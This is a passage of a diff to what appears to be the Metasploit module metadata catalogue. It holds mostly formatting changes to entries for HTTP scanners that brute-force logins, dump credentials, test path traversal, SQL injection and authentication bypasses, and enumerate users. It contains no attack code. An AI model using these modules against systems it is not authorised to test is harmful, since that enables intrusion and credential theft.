"auxiliary_scanner/http/files_dir": { "name": "HTTP Interesting File Scanner", "fullname": "auxiliary/scanner/http/files_dir", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -35695,9 +30961,7 @@ "et " ], "description": "This module identifies the existence of interesting files\n in a given directory path.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -35724,20 +30988,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/fortimail_login_bypass_detection": { "name": "FortiMail Unauthenticated Login Bypass Scanner", "fullname": "auxiliary/scanner/http/fortimail_login_bypass_detection", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -35778,20 +31037,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/fortinet_ssl_vpn": { "name": "Fortinet SSL VPN Bruteforce Login Utility", "fullname": "auxiliary/scanner/http/fortinet_ssl_vpn", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -35799,9 +31053,7 @@ "Max Michels " ], "description": "This module scans for Fortinet SSL VPN web login portals and\n performs login brute force to identify valid credentials.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -35828,20 +31080,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/frontpage_credential_dump": { "name": "FrontPage .pwd File Credential Dump", "fullname": "auxiliary/scanner/http/frontpage_credential_dump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -35881,20 +31128,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/frontpage_login": { "name": "FrontPage Server Extensions Anonymous Login Scanner", "fullname": "auxiliary/scanner/http/frontpage_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -35932,20 +31174,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/gavazzi_em_login_loot": { "name": "Carlo Gavazzi Energy Meters - Login Brute Force, Extract Info and Dump Plant Database", "fullname": "auxiliary/scanner/http/gavazzi_em_login_loot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -35983,20 +31220,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/git_scanner": { "name": "HTTP Git Scanner", "fullname": "auxiliary/scanner/http/git_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -36006,7 +31238,7 @@ ], "description": "This module can detect situations where there may be information\n disclosure vulnerabilities that occur when a Git repository is made\n available over HTTP.", "references": [ - "URL-https://github.com/git/git/blob/master/Documentation/technical/index-format.txt" + "URL-http://web.archive.org/web/20220609025426/https://github.com/git/git/blob/master/Documentation/technical/index-format.txt" ], "platform": "", "arch": "", @@ -36027,27 +31259,22 @@ "https" ], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/scanner/http/git_scanner.rb", "is_install_path": true, "ref_name": "scanner/http/git_scanner", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/gitlab_graphql_user_enum": { "name": "GitLab GraphQL API User Enumeration", "fullname": "auxiliary/scanner/http/gitlab_graphql_user_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-02-25", "type": "auxiliary", @@ -36094,22 +31321,16 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/gitlab_login": { "name": "GitLab Login Utility", "fullname": "auxiliary/scanner/http/gitlab_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -36146,20 +31367,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/gitlab_user_enum": { "name": "GitLab User Enumeration", "fullname": "auxiliary/scanner/http/gitlab_user_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-11-21", "type": "auxiliary", @@ -36196,20 +31412,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/gitlab_version": { "name": "Gitlab Version Scanner", "fullname": "auxiliary/scanner/http/gitlab_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -36217,9 +31428,7 @@ "Julien (jvoisin) Voisin" ], "description": "This module scans a Gitlab install for information about its version.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -36246,20 +31455,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/glassfish_login": { "name": "GlassFish Brute Force Utility", "fullname": "auxiliary/scanner/http/glassfish_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -36298,20 +31502,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/glassfish_traversal": { "name": "Path Traversal in Oracle GlassFish Server Open Source Edition", "fullname": "auxiliary/scanner/http/glassfish_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-08-08", "type": "auxiliary", @@ -36351,20 +31550,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/goahead_traversal": { "name": "Embedthis GoAhead Embedded Web Server Directory Traversal", "fullname": "auxiliary/scanner/http/goahead_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -36403,20 +31597,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/grafana_plugin_traversal": { "name": "Grafana Plugin Path Traversal", "fullname": "auxiliary/scanner/http/grafana_plugin_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-12-02", "type": "auxiliary", @@ -36464,25 +31653,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/groupwise_agents_http_traversal": { "name": "Novell Groupwise Agents HTTP Directory Traversal", "fullname": "auxiliary/scanner/http/groupwise_agents_http_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -36523,20 +31706,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/host_header_injection": { "name": "HTTP Host Header Injection Detection", "fullname": "auxiliary/scanner/http/host_header_injection", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -36575,20 +31753,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/hp_imc_bims_downloadservlet_traversal": { "name": "HP Intelligent Management BIMS DownloadServlet Directory Traversal", "fullname": "auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -36629,20 +31802,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/hp_imc_faultdownloadservlet_traversal": { "name": "HP Intelligent Management FaultDownloadServlet Directory Traversal", "fullname": "auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -36683,20 +31851,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/hp_imc_ictdownloadservlet_traversal": { "name": "HP Intelligent Management IctDownloadServlet Directory Traversal", "fullname": "auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -36737,20 +31900,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/hp_imc_reportimgservlt_traversal": { "name": "HP Intelligent Management ReportImgServlt Directory Traversal", "fullname": "auxiliary/scanner/http/hp_imc_reportimgservlt_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -36791,20 +31949,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/hp_imc_som_file_download": { "name": "HP Intelligent Management SOM FileDownloadServlet Arbitrary Download", "fullname": "auxiliary/scanner/http/hp_imc_som_file_download", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -36845,20 +31998,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/hp_sitescope_getfileinternal_fileaccess": { "name": "HP SiteScope SOAP Call getFileInternal Remote File Access", "fullname": "auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -36898,20 +32046,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/hp_sitescope_getsitescopeconfiguration": { "name": "HP SiteScope SOAP Call getSiteScopeConfiguration Configuration Access", "fullname": "auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -36951,20 +32094,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/hp_sitescope_loadfilecontent_fileaccess": { "name": "HP SiteScope SOAP Call loadFileContent Remote File Access", "fullname": "auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -37004,20 +32142,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/hp_sys_mgmt_login": { "name": "HP System Management Homepage Login Utility", "fullname": "auxiliary/scanner/http/hp_sys_mgmt_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -37025,9 +32158,7 @@ "sinn3r " ], "description": "This module attempts to login to HP System Management Homepage using host\n operating system authentication.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 2381, @@ -37054,20 +32185,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/http_header": { "name": "HTTP Header Detection", "fullname": "auxiliary/scanner/http/http_header", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -37106,20 +32232,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/http_hsts": { "name": "HTTP Strict Transport Security (HSTS) Detection", "fullname": "auxiliary/scanner/http/http_hsts", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -37127,9 +32248,7 @@ "Matt \"hostess\" Andreko " ], "description": "Display HTTP Strict Transport Security (HSTS) information about each system.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -37156,20 +32275,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/http_login": { "name": "HTTP Login Utility", "fullname": "auxiliary/scanner/http/http_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -37208,20 +32322,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/http_put": { "name": "HTTP Writable Path PUT/DELETE File Access", "fullname": "auxiliary/scanner/http/http_put", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -37260,8 +32369,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -37278,9 +32386,7 @@ "auxiliary_scanner/http/http_sickrage_password_leak": { "name": "HTTP SickRage Password Leak", "fullname": "auxiliary/scanner/http/http_sickrage_password_leak", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-03-08", "type": "auxiliary", @@ -37319,20 +32425,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/http_traversal": { "name": "Generic HTTP Directory Traversal Utility", "fullname": "auxiliary/scanner/http/http_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -37343,9 +32444,7 @@ "sinn3r " ], "description": "This module allows you to test if a web server (or web application) is\n vulnerable to directory traversal with three different actions.\n\n The 'CHECK' action (default) is used to automatically (or manually) find if\n directory traversal exists in the web server, and then return the path that\n triggers the vulnerability. The 'DOWNLOAD' action shares the same ability as\n 'CHECK', but will take advantage of the found trigger to download files based on\n a 'FILELIST' of your choosing. The 'PHPSOURCE' action can be used to download\n source against PHP applications. The 'WRITABLE' action can be used to determine\n if the trigger can be used to write files outside the www directory.\n\n To use the 'COOKIE' option, set your value like so: \"name=value\".", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -37372,8 +32471,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -37398,9 +32496,7 @@ "auxiliary_scanner/http/http_version": { "name": "HTTP Version Detection", "fullname": "auxiliary/scanner/http/http_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -37408,9 +32504,7 @@ "hdm " ], "description": "Display version information about each system.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -37437,20 +32531,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/httpbl_lookup": { "name": "Http:BL Lookup", "fullname": "auxiliary/scanner/http/httpbl_lookup", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -37464,12 +32553,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/scanner/http/httpbl_lookup.rb", @@ -37478,20 +32563,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/httpdasm_directory_traversal": { "name": "Httpdasm Directory Traversal", "fullname": "auxiliary/scanner/http/httpdasm_directory_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -37529,20 +32609,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/icinga_static_library_file_directory_traversal": { "name": "Icingaweb Directory Traversal in Static Library File Requests", "fullname": "auxiliary/scanner/http/icinga_static_library_file_directory_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-05-09", "type": "auxiliary", @@ -37598,16 +32673,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/iis_internal_ip": { "name": "Microsoft IIS HTTP Internal IP Disclosure", "fullname": "auxiliary/scanner/http/iis_internal_ip", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -37621,7 +32692,7 @@ "CVE-2002-0422", "BID-1499", "EDB-20096", - "URL-https://support.microsoft.com/en-us/help/218180/internet-information-server-returns-ip-address-in-http-header-content", + "URL-http://web.archive.org/web/20201125004436/https://support.microsoft.com/en-us/help/218180/internet-information-server-returns-ip-address-in-http-header-content", "URL-https://support.microsoft.com/en-us/topic/fix-the-internal-ip-address-of-an-iis-7-0-server-is-revealed-if-an-http-request-that-does-not-have-a-host-header-or-has-a-null-host-header-is-sent-to-the-server-c493e9bc-dfd3-0d9b-941c-b2d93a957d9e", "URL-https://techcommunity.microsoft.com/t5/iis-support-blog/iis-web-servers-running-in-windows-azure-may-reveal-their/ba-p/826500" ], @@ -37644,27 +32715,22 @@ "https" ], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/scanner/http/iis_internal_ip.rb", "is_install_path": true, "ref_name": "scanner/http/iis_internal_ip", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/iis_shortname_scanner": { "name": "Microsoft IIS shortname vulnerability scanner", "fullname": "auxiliary/scanner/http/iis_shortname_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -37677,7 +32743,7 @@ "description": "The vulnerability is caused by a tilde character \"~\" in a GET or OPTIONS request, which\n could allow remote attackers to disclose 8.3 filenames (short names). In 2010, Soroush Dalili\n and Ali Abbasnejad discovered the original bug (GET request). This was publicly disclosed in\n 2012. In 2014, Soroush Dalili discovered that newer IIS installations are vulnerable with OPTIONS.", "references": [ "URL-https://soroush.secproject.com/blog/tag/iis-tilde-vulnerability/", - "URL-https://support.detectify.com/customer/portal/articles/1711520-microsoft-iis-tilde-vulnerability" + "URL-http://web.archive.org/web/20150921104258/http://support.detectify.com/customer/portal/articles/1711520-microsoft-iis-tilde-vulnerability" ], "platform": "", "arch": "", @@ -37698,27 +32764,22 @@ "https" ], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/scanner/http/iis_shortname_scanner.rb", "is_install_path": true, "ref_name": "scanner/http/iis_shortname_scanner", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/influxdb_enum": { "name": "InfluxDB Enum Utility", "fullname": "auxiliary/scanner/http/influxdb_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -37757,20 +32818,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/infovista_enum": { "name": "InfoVista VistaPortal Application Bruteforce Login Utility", "fullname": "auxiliary/scanner/http/infovista_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -37778,9 +32834,7 @@ "Karn Ganeshen " ], "description": "This module attempts to scan for InfoVista VistaPortal Web Application, finds its\n version and performs login brute force to identify valid credentials.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -37807,20 +32861,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/intel_amt_digest_bypass": { "name": "Intel AMT Digest Authentication Bypass Scanner", "fullname": "auxiliary/scanner/http/intel_amt_digest_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-05-05", "type": "auxiliary", @@ -37830,8 +32879,8 @@ "description": "This module scans for Intel Active Management Technology endpoints and attempts\n to bypass authentication using a blank HTTP digest (CVE-2017-5689). This service\n can be found on ports 16992, 16993 (tls), 623, and 624 (tls).", "references": [ "CVE-2017-5689", - "URL-https://www.embedi.com/news/what-you-need-know-about-intel-amt-vulnerability", - "URL-https://www.intel.com/content/www/us/en/security-center/default.html?intelid=INTEL-SA-00075&languageid=en-fr" + "URL-http://web.archive.org/web/20191225124314/https://www.embedi.com/news/what-you-need-know-about-intel-amt-vulnerability", + "URL-http://web.archive.org/web/20250208090258/https://www.intel.com/content/www/us/en/security-center/default.html?intelid=INTEL-SA-00075" ], "platform": "", "arch": "", @@ -37852,27 +32901,22 @@ "https" ], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/scanner/http/intel_amt_digest_bypass.rb", "is_install_path": true, "ref_name": "scanner/http/intel_amt_digest_bypass", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/ipboard_login": { "name": "IP Board Login Auxiliary Module", "fullname": "auxiliary/scanner/http/ipboard_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -37880,9 +32924,7 @@ "Christopher Truncer chris " ], "description": "This module attempts to validate user provided credentials against\n an IP Board web application.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -37909,20 +32951,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/jboss_status": { "name": "JBoss Status Servlet Information Gathering", "fullname": "auxiliary/scanner/http/jboss_status", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -37963,20 +33000,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/jboss_vulnscan": { "name": "JBoss Vulnerability Scanner", "fullname": "auxiliary/scanner/http/jboss_vulnscan", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -38018,20 +33050,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/jenkins_command": { "name": "Jenkins-CI Unauthenticated Script-Console Scanner", "fullname": "auxiliary/scanner/http/jenkins_command", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -38072,20 +33099,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/jenkins_enum": { "name": "Jenkins-CI Enumeration", "fullname": "auxiliary/scanner/http/jenkins_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -38093,9 +33115,7 @@ "Jeff McCutchan" ], "description": "This module enumerates a remote Jenkins-CI installation in an unauthenticated manner, including\n host operating system and Jenkins installation details.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -38122,20 +33142,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/jenkins_login": { "name": "Jenkins-CI Login Utility", "fullname": "auxiliary/scanner/http/jenkins_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -38143,9 +33158,7 @@ "Nicholas Starke " ], "description": "This module attempts to login to a Jenkins-CI instance using a specific user/pass.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 8080, @@ -38173,20 +33186,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/jira_user_enum": { "name": "Jira Users Enumeration", "fullname": "auxiliary/scanner/http/jira_user_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-08-16", "type": "auxiliary", @@ -38232,22 +33240,16 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/joomla_api_improper_access_checks": { "name": "Joomla API Improper Access Checks", "fullname": "auxiliary/scanner/http/joomla_api_improper_access_checks", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2023-02-01", "type": "auxiliary", @@ -38293,25 +33295,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/joomla_bruteforce_login": { "name": "Joomla Bruteforce Login Utility", "fullname": "auxiliary/scanner/http/joomla_bruteforce_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -38348,20 +33344,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/joomla_ecommercewd_sqli_scanner": { "name": "Web-Dorado ECommerce WD for Joomla! search_category_id SQL Injection Scanner", "fullname": "auxiliary/scanner/http/joomla_ecommercewd_sqli_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-03-20", "type": "auxiliary", @@ -38398,20 +33389,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/joomla_gallerywd_sqli_scanner": { "name": "Gallery WD for Joomla! Unauthenticated SQL Injection Scanner", "fullname": "auxiliary/scanner/http/joomla_gallerywd_sqli_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-03-30", "type": "auxiliary", @@ -38449,20 +33435,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/joomla_pages": { "name": "Joomla Page Scanner", "fullname": "auxiliary/scanner/http/joomla_pages", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -38470,9 +33451,7 @@ "newpid0" ], "description": "This module scans a Joomla install for common pages.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -38499,20 +33478,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/joomla_plugins": { "name": "Joomla Plugins Scanner", "fullname": "auxiliary/scanner/http/joomla_plugins", - "aliases": [ 